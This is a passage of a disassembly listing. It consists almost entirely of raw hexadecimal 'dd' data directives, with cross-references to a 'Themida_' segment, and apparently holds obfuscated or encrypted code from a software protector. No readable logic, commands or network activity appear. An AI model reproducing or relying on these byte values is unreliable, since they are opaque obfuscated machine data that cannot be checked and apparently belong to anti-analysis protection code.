450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 60732B5h, 2D840F00h, 8D000001h, 9A8DF85h, 858D5006h dd 609A849h, 16850h, 95FF8000h, 609A8EFh, 30D5858Dh, 8D50060Ah dd 0A30DF85h, 6A5006h, 858D006Ah, 609A85Dh, 0DFB5FF50h dd 0FF0609A8h, 7222995h, 0D5858D06h, 50060A30h, 30E3858Dh dd 6A50060Ah, 8D006A00h, 9A86F85h, 0B5FF5006h, 609A8DFh dd 222995FFh, 858D0607h, 60A30D5h, 0EF858D50h, 50060A30h dd 6A006Ah, 0A8BC858Dh, 0FF500609h, 9A8DFB5h, 2995FF06h dd 8D060722h, 0A30D585h, 858D5006h, 60A30F7h, 6A006A50h dd 0DA858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h, 6072229h dd 30D5858Dh, 8D50060Ah, 0A30F385h, 6A5006h, 858D006Ah dd 609A8C3h, 0DFB5FF50h, 0FF0609A8h, 7222995h, 0D5858D06h dd 50060A30h, 30E7858Dh, 6A50060Ah, 8D006A00h, 9A8CB85h dd 0B5FF5006h, 609A8DFh, 222995FFh, 858D0607h, 60A30D5h dd 0EB858D50h, 50060A30h, 6A006Ah, 0A8D2858Dh, 0FF500609h dd 9A8DFB5h, 2995FF06h, 0FF060722h, 9A8DFB5h, 6995FF06h dd 0E906070Ch, 0A2h, 1329BD83h, 0F000607h, 9584h, 0BDBD8300h dd 60719h, 11850Fh, 958B0000h, 60728F1h, 1CF8C281h, 0FE90000h dd 8D000000h, 70F2D95h, 34528B06h, 0C340C281h, 95893BD4h dd 6070455h, 455BD83h, 0F000607h, 5584h, 559D8B00h, 83060704h dd 38B4CC3h, 30DF8589h, 9D8B060Ah, 6070455h, 8B50C383h dd 0E3858903h, 8B060A30h, 704559Dh, 54C38306h, 8589038Bh dd 60A30EFh, 4559D8Bh, 0C3830607h, 89038B58h, 0A30F385h dd 559D8B06h, 83060704h, 38B5CC3h, 30E78589h, 0BD83060Ah dd 60732B5h, 0D850F00h, 83000000h, 71329BDh, 840F0006h dd 68h, 30F7B5FFh, 0B5FF060Ah, 60A30EBh, 30E7B5FFh, 0B5FF060Ah dd 60A30F3h, 30EFB5FFh, 0B5FF060Ah, 60A30E3h, 30DFB5FFh dd 858D060Ah, 60A30D9h, 11858D50h, 50060A31h, 23AD858Dh dd 0FF500607h, 700A195h, 24C48306h, 858D406Ah, 60A30FBh dd 0AD858D50h, 50060723h, 95FF006Ah, 6070581h, 95FF016Ah dd 6072BDDh, 18EBC18Bh, 9B46F317h, 5 dup(0) dd 20BE9h db 0 aLS db '`▀\$$Х',0 ; DATA XREF: Themida_:0053E1B8o dd 5D000000h, 3498ED81h, 0C261060Ah, 0E6E90004h db 3 dup(0FFh) aA_2 db '`aб',8,0 ; DATA XREF: Themida_:0053D050o dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh, 8C261h dd 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 0FFFFFFh, 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0A34D0B5h, 0E68106h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 0A34D4B5h dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 6070455h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 719F995h, 10F5006h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6070455h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 455858Bh, 18860607h dd 850FDB0Ah, 0FFFFFFF6h, 327585C7h, 607h, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 7327585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h dd 29840F04h, 0C7000000h, 0A347585h, 106h, 10F5000h, 8FFE244Ch dd 0A347985h, 71858D06h, 8D060A34h, 0A3479BDh, 0E9388906h dd 23h, 0F2D858Dh, 408B0607h, 0F3170538h, 85899B46h, 60A3471h dd 0F2D858Dh, 408B0607h, 7585893Ch, 8D060A34h, 0A348E85h dd 0F9858906h, 0E9060719h, 87h dword_56FEC0 dd 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6300600h ; DATA XREF: Themida_:0053C980o dd 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah, 60D48B52h dd 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh, 7, 6280630h, 3B46C8D1h dd 0F1820FF7h, 61FFFFFFh, 8C25Ah, 56D48B52h, 0DB335351h dd 8B08728Bh, 13E90C4Ah, 0AC000000h, 840F2D3Ch, 0Ah, 13349804h dd 0C3C1D832h, 0C90B4908h, 0FFE5850Fh, 0C38BFFFFh, 5A5E595Bh dd 8D0008C2h, 0A370185h, 0C1858906h, 8D060701h, 0A372985h dd 95858906h, 8D060706h, 0A375185h, 59858906h, 6006070Dh dd 13880F60h, 0E8000000h, 0Dh, 0E2C35B52h, 1407A4BCh, 0C522B08h dd 0F0815A78h, 3F317306h, 6AC08B61h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1189C356h dd 80CD1A7Fh, 0BD834EC6h, 6071ACDh, 83097500h, 71135BDh dd 19740006h, 0C08B5350h, 40EB8h, 7D858900h, 8D06071Fh dd 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 40EB8h dd 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F9363580h, 11E9h db 0, 64h, 0ECh byte_570023 db 93h ; DATA XREF: Themida_:0053E200o dd 64654D2Fh, 83694337h, 0BD4BA613h, 0C08B6E14h, 0BD838CB5h dd 6073335h, 30840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CC01C353h dd 7C85418Ah, 0B2196909h, 206E9B3h, 81660000h, 8CDCBED2h dd 50006ADFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 399A2AD8h, 0F57F69Ah, 665AF7BFh, 4C7F7h dd 1CE850Fh, 0E1B10000h, 0E180FF2Bh, 7D9D8DF1h, 0B9060A3Ah dd 2E46714h, 52506093h, 0E8B575BAh, 0BA310F79h, 5A4A8A46h dd 820F585Ah, 6, 8E0Fh, 50610000h, 0F3BEA7BEh, 88BE9329h dd 6413931Fh, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 8F3F1BC3h, 0ADA95A22h dd 0BFC58014h, 258964h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 5A06C356h dd 2D019D95h, 8BA85FCAh, 57006AC4h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0AB8C49FEh, 474EA5F4h dd 9E8h, 7D16E500h, 0BB79D298h, 71B967C5h, 59453AECh, 81665060h dd 58AF43F6h, 0CD61F98Bh, 0E800EB01h, 14h, 23E97164h, 47B5892Eh dd 0A4ACE0A4h, 0BB03D0B7h, 33E1A2D7h, 0CA9FB966h, 0E9E2805Ah dd 64D38B66h, 58Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 566057C3h, 0E1816629h dd 0C483AFEAh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0C00B3C8Fh, 7A840Fh, 66610000h dd 8D31C4B9h, 76FE4BDh, 0C820F06h, 0F000000h, 686h, 38F68100h dd 0B87A3D59h, 1, 0C281E7FFh, 164C8C6Eh, 0F5D68060h, 0C7816660h dd 7E988CDh, 26000000h, 0CB6A0A6h, 61619A9Ch, 245C8B57h dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h dd 0B883h, 335F0200h, 0B966C3C0h, 880FA926h, 4, 0ED3FBA66h dd 28C0Fh, 0D18B0000h, 0C9BF0F61h, 5E9h, 31D20000h, 0C08BDDA7h dd 3573CE81h, 0BD834EEDh, 6071ACDh, 83097500h, 71135BDh dd 19740006h, 0C08B5350h, 40EB8h, 81858900h, 8D06072Fh dd 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 40EB8h dd 81858900h, 8D06072Fh, 9AAC89Dh, 5BD3FF06h, 0A7B96658h dd 0C08BF814h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A3C35343h, 0AB210767h, 51F7B70Fh, 59F3C680h, 11E8C28Bh dd 0A4000000h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh, 9DBE44AAh dd 5FF0B70Fh, 0EE951h, 51DB0000h, 0B6EAFEC2h, 0AD8486D6h dd 8DF397C1h, 94C7815Eh, 0F000060h, 0B8C8B7h, 0E8000000h dd 0Bh, 78802DC7h, 0D3233C30h, 661A358Ch, 597254BAh, 8B3834FFh dd 81665BF1h, 818D66E9h, 178CC9EBh, 81D08B05h, 76DF2BF3h dd 0EB81F811h, 7F39974Dh, 5FC633BEh, 8166531Dh, 8FDD83E2h dd 66600704h, 5618D981h, 0FE9h, 855F1D00h, 0E4ECA7CAh dd 0F6B0D04Eh, 68EC6B3Bh, 0FE961h, 8F310000h, 0F29C2484h dd 0E34FF5A9h, 5B701C03h, 75E88129h, 60627DE7h, 4E5FE781h dd 61F81064h, 0E771C081h, 0F881627Dh, 0FFFFA034h, 0FF82850Fh dd 0EBFCFFFFh, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0BD858B24h dd 8D060719h, 0A87DF85h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 0A3C1E8Dh, 79BD8306h, 6070Bh, 0F840Fh, 6A600000h dd 6995FF00h, 6106070Dh, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 3C1A8589h, 0B58B060Ah, 60A3C1Eh dd 6610CEC1h, 8B027289h, 0A3C1EB5h, 72896606h, 858B61FCh dd 60A3C1Ah, 71958DC3h, 89060726h, 7045595h, 69958906h dd 0FF06070Eh, 70E6985h, 0CD85C606h, 53060709h, 0B148D868h dd 9DB5FFFCh, 8D060705h, 7396385h, 89D0FF06h, 70D6985h dd 0A8858D06h, 89060A34h, 7089185h, 51E906h, 8B600000h dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh dd 9FD3Eh, 0EAE900EBh, 0E9000005h, 5DEh, 0A3E6168h, 402DE906h dd 0B068FFFDh, 0E9060A3Fh, 0FFFD4023h, 0A402068h, 4019E906h dd 0B268FFFDh, 0E9060A40h, 0FFFD400Fh, 0A41D968h, 4005E906h dd 7CADFFFDh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h dd 0D142309Eh, 1C4399B5h, 75253305h, 0A3F21687h, 0FF8E6149h dd 44A34D3h, 49A3F297h, 0D71851D4h, 595C05C2h, 1DB8296Fh dd 4BB749A3h, 4649A31Dh, 49A31DD9h, 0AA3D6D16h, 3A806A03h dd 49A31DCCh, 46158609h, 39CBF979h, 0B944B5A3h, 0BC8F49A3h dd 0B91F8CD2h, 0B941C9A3h, 9F62A7F9h, 8F7DC1A4h, 0C9A3B71Eh dd 54F59669h, 35650EBEh, 0E872B8A2h, 15C7A2A5h, 5C4CE265h dd 0A190790Ch, 9CF05CCDh, 0EAD4A7C3h, 4871DF0h, 62FBE68Bh dd 1A220C33h, 84B63F71h, 962F62F1h, 20B556EFh, 5AC4779h dd 99CCE77h, 7C74FC1Fh, 0F46EF8E6h, 0D6A9C19Bh, 65F5A400h dd 96174670h, 407h, 66FB9ACBh, 5FF493BFh, 5AEF8AB8h, 54E984B3h dd 52E77AADh, 0B1E49FB7h, 0B7E48B20h, 0B0E2891Eh, 0A9D98015h dd 3EAC790Eh, 99B4DF50h, 41132A43h, 0C269FC2Ch, 0A3F288F6h dd 9FA9E249h, 50E681B1h, 35DC7BA7h, 42E382AEh, 7AAA5158h dd 7DAD34DBh, 8CBC43EAh, 9CCB52F9h, 0A6EF5A01h, 2AE39C98h dd 56822B1Ch, 948210B7h, 49A3F223h, 10FA9B6Eh, 0B348DF0Fh dd 0AEC021B4h, 0CBFEA719h, 0E27DAB3Ah, 36104F8h, 2C680000h dd 0AE497BFCh, 2C9A660Dh, 649A3F2h, 0B1447720h, 2C87710Ah dd 7C0434E2h, 0A3F21D8Eh, 85948749h, 1DA1F1FAh, 8C21C295h dd 0F26351BFh, 3D49A30Eh, 8C35C36Ah, 0DBDCC65Fh, 0CB790EA9h dd 6B55F022h, 0F49B3A6Ah, 0F590BD66h, 0A8CBB54Eh, 76113D23h dd 7BA736CFh, 0FB9C35DCh, 1A08B866h, 49A30FA9h, 9D8B21F4h dd 49A30F2Ch, 0B9BAA477h, 0C047EE89h, 7965FA93h, 49A30F0Ch dd 4D0AC649h, 0D30E8B7Eh, 22BBE8E9h, 644AD27Bh, 4ABBA937h dd 9549A36Bh, 0F37A21C2h, 0E78027C6h, 51C2B046h, 9C49A36Bh dd 0F9228C9h, 0FBD085AEh, 31392326h, 0A2831943h, 1E0CD447h dd 439C62ADh, 0AE8425F8h, 0FA6C7B5Ch, 0B8BE3F6Eh, 7C000002h dd 7E25BA4Bh, 771EB352h, 7219AE49h, 6E15AA43h, 7A15AA3Bh dd 0E174A762h, 0DD78A54Ch, 0D46FA148h, 0CD68983Fh, 0FFD6B38h dd 4399B39Eh, 2C00D2E9h, 3BC269FCh, 3EC56C0Bh, 0F3DF7411h dd 49A3F2C6h, 0A402D845h, 56EF1C49h, 0E276E3AFh, 109849A3h dd 22D28218h, 0A3E2C334h, 513B0E49h, 0A2E3350Bh, 0A77D5047h dd 0FA6CF3ABh, 48DF608Fh, 0C000002h, 0EB54ADBh, 7AE43E2h dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4399B22Eh, 2C906279h dd 3BC269FCh, 14C56C0Bh, 3363CD5Bh, 0D500FF94h, 719AEBFh dd 1DFh, 0F27AE76Bh, 8CBE49A3h, 8BBD64F9h, 98CA51F8h, 0ECA556FDh dd 2FC2F422h, 0C03A9B9Ah, 56A019AEh, 0C8000000h, 6953F21Fh dd 8A820A9Dh, 0DCAE71F4h, 0D9035998h, 0DFF9E7EFh, 7A47A291h dd 6D8BD1A7h, 406FFA6Ch, 1B6BFh, 0AC497A00h, 0A9447017h dd 0A43F6D14h, 0A039680Fh, 0A031640Bh, 9D58700Bh, 9B42D76Ah dd 933ACF6Eh, 8A31C661h, 5926BB5Ah, 0B28CFDEBh, 0C0D74399h dd 0E89806EEh, 24ADA265h, 0A2D47A5Ah, 3E846E0Fh, 49A30AD5h dd 922D5902h, 0FE6F5DEBh, 4949A309h, 0F1EBD576h, 0BEF0771Eh dd 0B7E78E23h, 4BD07920h, 3D3ABD53h, 0FF8FA945h, 9B6B73B7h dd 904E6032h, 0C6F89FA6h, 0BFEF962Bh, 4AF38128h, 3FD87F1Eh dd 8E275455h, 0D0BE2CF9h, 49A3EB5Fh, 0A930D7AAh, 4D3BEB7Bh dd 49A3EBDCh, 0F805427h, 5A49A3EBh, 8851E687h, 0D96007FFh dd 8F7B10ABh, 49A3EB22h, 0EB8AB65Fh, 7056DE01h, 6902A944h dd 0FF8232C8h, 7C6AA2B7h, 49A3E00Bh, 841A8356h, 7CC2ACBCh dd 47A2D20Eh, 40F08659h, 0AFDF6897h, 37D07718h, 97204C4Dh dd 962BCC6Bh, 412FC3EFh, 439CA2D0h, 0A7481Bh, 5AC4779h dd 0DB4517Eh, 27BD5886h, 0A2188977h, 0C863439Ch, 0CA4B74BBh dd 7963049Dh, 372FB760h, 825DB3A1h, 0A578419Bh, 654C9FCFh dd 0BB3C6BF0h, 8Fh, 0EE832253h, 0E77C1B47h, 0E2771240h dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h dd 3161089Dh, 0C6340196h, 99B167D8h, 0C99BB243h, 0C269FC2Ch dd 0BD588B34h, 92937D16h, 951CC362h, 9D24CB66h, 1CB5E871h dd 2069D47Bh, 0A45D1616h, 0E97CAC9Ah, 0C0805554h, 105A19AEh dd 0BE000000h, 0A3F279E7h, 0FA8DBD49h, 18C465h, 0E73A0000h dd 49A3F27Ah, 0A81907B7h, 0F349A3F2h, 0C35E9120h, 0DA8D8D9h dd 0E6C70678h, 2ECh, 2C7D5F00h, 3CC36AFBh, 4BD2790Ch, 50D77E19h dd 5CE38A23h, 6AF19829h, 70F79E37h, 7A01A841h, 830AB14Ch dd 6711B857h, 5585450h, 4, 8704E883h, 515C2404h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 8952242Ch, 4C281E2h, 81000000h dd 4EAh, 24148700h, 240C895Ch, 31DCBE56h, 54BD6DDFh, 81641A1Ah dd 72531C5h, 5E5C16Ch, 5CBCF581h, 0F5814A16h, 3DD8C347h dd 815EF529h, 4ECh, 24248900h, 4240481h, 59000000h, 8418F55h dd 592434FFh, 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 0FD3A62E9h, 1BA4E0FFh, 0BFF38944h, 8DB8B525h dd 3060A42h, 0EBD18BC5h, 20h, 7 dup(0) dd 54EE900h, 42E90000h, 68000005h, 60A44F7h, 0FD3A1AE9h dd 457E68FFh, 10E9060Ah, 68FFFD3Ah, 60A4746h, 0FD3A06E9h dd 47BA68FFh, 0FCE9060Ah, 0A4FFFD39h, 0A64DE273h, 9F46DB7Ah dd 9A41D671h, 963DD26Bh, 0A23DD263h, 99CCF8Ah, 5A0CD74h dd 0FC97C970h, 0F590C067h, 37259360h, 4399AFC6h, 3CECFA11h dd 99AFDD4Eh, 6B552843h, 63FE2C9Fh, 9EFF4ACDh, 6B6CA387h dd 2F9C6881h, 5CC9A31Ch, 0AC29AF79h, 1A99AF98h, 190B7C6Ah dd 8356C9A3h, 36A599h, 4ACD0000h, 0BD4AE3BEh, 5B27118Dh dd 16BFA225h, 6525A987h, 0D111D1FCh, 0F9E364BBh, 0A3DA45B3h dd 0ACD98249h, 7C042711h, 0E500EE84h, 8C479E17h, 188324B9h dd 0F9000000h, 0A3F27AE7h, 1C149C49h, 2F7D9886h, 6D16479Eh dd 0C0BAA43Fh, 2CE658EDh, 0F0BC63FEh, 400AA338h, 0A59AA4DFh dd 0D7FA6F22h, 9120D3F6h, 0DFE0CA65h, 0B88116B1h, 8E986F2Fh dd 0B51169FEh, 23907E14h, 60C9A39Fh, 5C222DB0h, 0C2BD9A84h dd 0A3BE7DEEh, 0BF5C8C9h, 10973E11h, 714A7DE0h, 0CDF0654Ch dd 46CE972Ch, 0D0CAB84Eh, 0DDC7A2A3h, 73CE3F2Dh, 4619C39Ch dd 0E88F625Ch, 9C73AF1Ch, 2FF9DCC3h, 0B63B2CA9h, 82AE9Fh dd 0A120000h, 4BF48A82h, 4C08BA1Dh, 369CEE80h, 0B5A3AB95h dd 479D5225h, 500BDB5Eh, 581616BBh, 74D9746Eh, 0F1FDD6FDh dd 8EE55644h, 5D304399h, 0DC851BBCh, 5CFB2BACh, 5C039ECDh dd 0E68D22C3h, 8491FB6h, 0F2FA6196h, 2FB42C3h, 4350000h dd 935DC71h, 432D96Eh, 0FE2DD469h, 0F427CE63h, 1931CC61h dd 59A2B5Eh, 0FF94315Eh, 0F68B2658h, 0F3881F4Fh, 59CAB826h dd 0A44399AEh, 0C632BB8Dh, 0A8000002h, 0BC63FE2Ch, 0A3F283F0h dd 0F1958249h, 289449A3h, 2349A3F1h, 49A3F1B6h, 0A3F148B5h dd 0F1DA4749h, 74FC89A3h, 0F163E67Ch, 0E86A558Eh, 0C4B2BAA4h dd 879C44BCh, 0D07920F3h, 0CCBA5048h, 8198B342h, 0F68FBC7Dh dd 0ADD87F55h, 73A2307Ah, 274F2h, 0E87DAE00h, 0E580AC53h dd 0E07BA950h, 0DC75A44Bh, 0D46DA047h, 0D18CA43Fh, 0C76E039Eh dd 0BF66FB9Ah, 0BE65FA8Dh, 9562F78Eh, 0ADC83927h, 0FC134399h dd 74FC2C2Ah, 0F265D6C4h, 0DDB049A3h, 0A3F29809h, 6F10E349h dd 0BBB73AC8h, 0F00E2BFBh, 6BF31600h, 70EFDD73h, 97479DAFh dd 730013FCh, 84B2D56Eh, 8A942E9h, 0A124D267h, 0D2F7E64Fh dd 91927CF2h, 8C33C863h, 0E6CCFB5Eh, 452909BAh, 0CC54FDA4h dd 0E58E3ED4h, 0F03620B3h, 41941579h, 3C28BD90h, 3D8F95CFh dd 0DB7169F1h, 89D27AEDh, 28BE913Bh, 23B84F7Fh, 12B94C7Ch dd 12ADDB84h, 5285E228h, 0FF873785h, 3EC17107h, 2CFA2296h dd 297BE4DBh, 5EA61D3Bh, 19408670h, 0D0357F9Ch, 8EBE67FDh dd 8BBB62F7h, 7DAD56ECh, 9334CDFCh, 506953ECh, 7B1B2784h dd 0A9A12931h, 0A03D6A13h, 608A037h, 745E37B2h, 0E6077E6Ch dd 5D1E2F75h, 57F0972Ah, 827020B6h, 2B716511h, 979F895Ch dd 9227BEEEh, 861CBBEBh, 6577E8D6h, 0EFC22B71h, 0DB5EEC05h dd 9CD16B15h, 0F91C0695h, 6A4CB171h, 40B418AEh, 0B059099Fh dd 0B4FAE47Dh, 296C2699h, 0FAC66D40h, 2567A68Dh, 8749D7BAh dd 3DEB0C4Eh, 0C8Ch, 7AE7F000h, 0C449A405h, 18h, 4E7C253Ah dd 1683C9B3h, 5349A408h, 0BFF27DAAh, 45E67F26h, 4F1B059Eh dd 0C64D7C25h, 0C25B0293h, 0F7E17A21h, 0BE544CD4h, 9E2F51D0h dd 8FC16A47h, 4F100AF4h, 4AE38A1Dh, 0DE64DE1h, 0F09160A9h dd 4F38BB49h, 0A323B7FFh, 0B63E614Bh, 0AB3B9ED0h, 5B4A1BF8h dd 0E37C23C4h, 6CBEAC42h, 3741983Fh, 11DF8E64h, 7CABF07Ah dd 0ACFBh, 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h dd 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h, 0F69D32C5h dd 0CD9A2FC6h, 0AB00715Fh, 344B4399h, 8A820A62h, 7D184BF4h dd 0F288F9E7h, 0D349A3h, 0A1200E16h, 0C8479E2Fh, 1DA54EF5h dd 54820737h, 0D87912B9h, 61F79831h, 49F089B8h, 0D0BEC6B0h dd 4198AD22h, 68F92CEDh, 0B446F1C7h, 1544F07Ah, 3894h dd 0A4417200h, 0A13C680Fh, 9C37650Ch, 98316007h, 98295C03h dd 95506803h, 933ACF62h, 8B32C766h, 8229BE59h, 511EB352h dd 0AB84F5E3h, 0B8CF4399h, 332E6h, 5EA80000h, 6AFB2C7Ch dd 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h dd 0A84170F7h, 0B14C7A01h, 0B857830Ah, 89506711h, 4BE56E0h dd 1000000h, 0E8835EF0h, 24048704h, 2DB2685Ch, 34890000h dd 1DAD6824h, 14890000h, 68B85024h, 0D15DF37Fh, 6E0C1E8h dd 0C74B652Dh, 5E132D47h, 0C689709Eh, 8124048Bh, 4C4h dd 38C06800h, 24890000h, 24048124h, 4, 4EC835Ah, 8F243489h dd 34FF0842h, 0C4815A24h, 4, 5124348Bh, 0C181E189h, 4 dd 8704C183h, 0E95C240Ch, 0FFFD34EFh, 5264BA92h, 6B79A2FFh dd 0BB8B4C7Ah, 4817B81Fh, 0C503060Ah, 0D9E9C88Bh, 20000000h dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) dd 692524EAh, 1FC6E9h, 4B8F6800h, 0ECE9060Ah, 68FFFD33h dd 60A4C8Ch, 0FD33E2E9h, 4D8068FFh, 0D8E9060Ah, 68FFFD33h dd 60A4E58h, 0FD33CEE9h, 4EF268FFh, 0C4E9060Ah, 68FFFD33h dd 60A4FABh, 0FD33BAE9h, 506768FFh, 0B0E9060Ah, 68FFFD33h dd 60A513Fh, 0FD33A6E9h, 556D68FFh, 9CE9060Ah, 68FFFD33h dd 60A55E5h, 0FD3392E9h, 571E68FFh, 88E9060Ah, 68FFFD33h dd 60A5A00h, 0FD337EE9h, 5D8068FFh, 74E9060Ah, 68FFFD33h dd 60A60DEh, 0FD336AE9h, 626668FFh, 60E9060Ah, 68FFFD33h dd 60A62D1h, 0FD3356E9h, 633168FFh, 4CE9060Ah, 68FFFD33h dd 60A638Dh, 0FD3342E9h, 646868FFh, 38E9060Ah, 68FFFD33h dd 60A65D0h, 0FD332EE9h, 66AD68FFh, 24E9060Ah, 0CCFFFD33h dd 0CE750A9Bh, 0C76E03A2h, 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh dd 31C4F7B2h, 2DC8F59Ch, 24BFF198h, 1DB8E88Fh, 5F4DBB88h dd 4399A7EEh, 91142239h, 4988D2DEh, 531F0943h, 0D369FC2Ch dd 0CCBA2C50h, 67D0F768h, 0BBB39113h, 0E0F9E38Ah, 0F98E2959h dd 1AB0A830h, 0A224822Ch, 0C36A3D47h, 9BF48AF7h, 4AD4B743h dd 68F92CD5h, 0E53E28C1h, 1FB6B9F0h, 37EAh, 820A4E00h dd 2CD36E9Ch, 6E5CF293h, 47A300ECh, 0D19D4417h, 439CE064h dd 0AF60AE91h, 513BDA06h, 0B5D1DDF8h, 0C9FF1Fh, 77270000h dd 2F03A2CEh, 439CD4BEh, 804C3609h, 0C269FC2Ch, 757FB134h dd 444ACAE7h, 8B26595Ah, 9A2D5DE4h, 0A93C6CF3h, 0B4FC2814h dd 8CBC49A3h, 457AE531h, 0C2632F2Bh, 215CA92Ch, 0F3594BEEh dd 0B49E3764h, 3FD606ADh, 8167EF98h, 7811B853h, 7F20BBE9h dd 30C1FBE9h, 895C47A2h, 0ABA32BF4h, 637A2715h, 72454194h dd 650033DCh, 700737BEh, 6D4E66CFh, 713B9D02h, 0A3D67F87h dd 26CF7D12h, 71725CF9h, 0BACDA33Eh, 58F07AFDh, 1CE5A829h dd 6C9D0000h, 719D44D9h, 6C9A41D6h, 66953CD1h, 5C8F36CBh dd 819934C9h, 6D0293C6h, 67FC99C6h, 5EF38EC0h, 5BF087B7h dd 0C132208Eh, 0C4399A7h, 0F92C23F5h, 0FC2CD368h, 2562D469h dd 0FDDD59A2h, 0A1D3F999h, 25C65F06h, 2BD26396h, 0FD85A892h dd 3CBF6F05h, 0ECA07140h, 0B09E34F7h, 49A3A93Fh, 87CDB78Ah dd 47A2B805h, 0EAB65D30h, 439C977Dh, 7779C7AAh, 1FB61B5Eh dd 0F27Ch, 0FC2CE000h, 0FC2AD369h, 0FDA44373h, 834C364h dd 432DC66Dh, 0D570A32Ah, 0C7F7A02Eh, 6F08930h, 0A3EE94C0h dd 91245449h, 9D2555FCh, 0A3EE3EAFh, 15B68949h, 453DC56Eh dd 0FF87C1AFh, 4F2247A2h, 7169F1BAh, 33E5EDDBh, 650E4195h dd 6BF9A033h, 93230C7Dh, 0E384573Dh, 43B6637Ah, 0A38DEE41h dd 9740D6A9h, 953CD164h, 24B4E162h, 93DBC536h, 9C3D103Dh dd 0E5BB5CF5h, 0F07BEF4Ch, 0E8C64776h, 0A000001Bh, 9A41D66Fh dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4399A6BAh dd 251CEE05h, 12B94C7Ch, 5B8E8F79h, 1DB134CAh, 0FDCC7D40h dd 3ED90796h, 0D14FE97h, 99F3666h, 0EAFA6B59h, 0AA4549A3h dd 0E42D3019h, 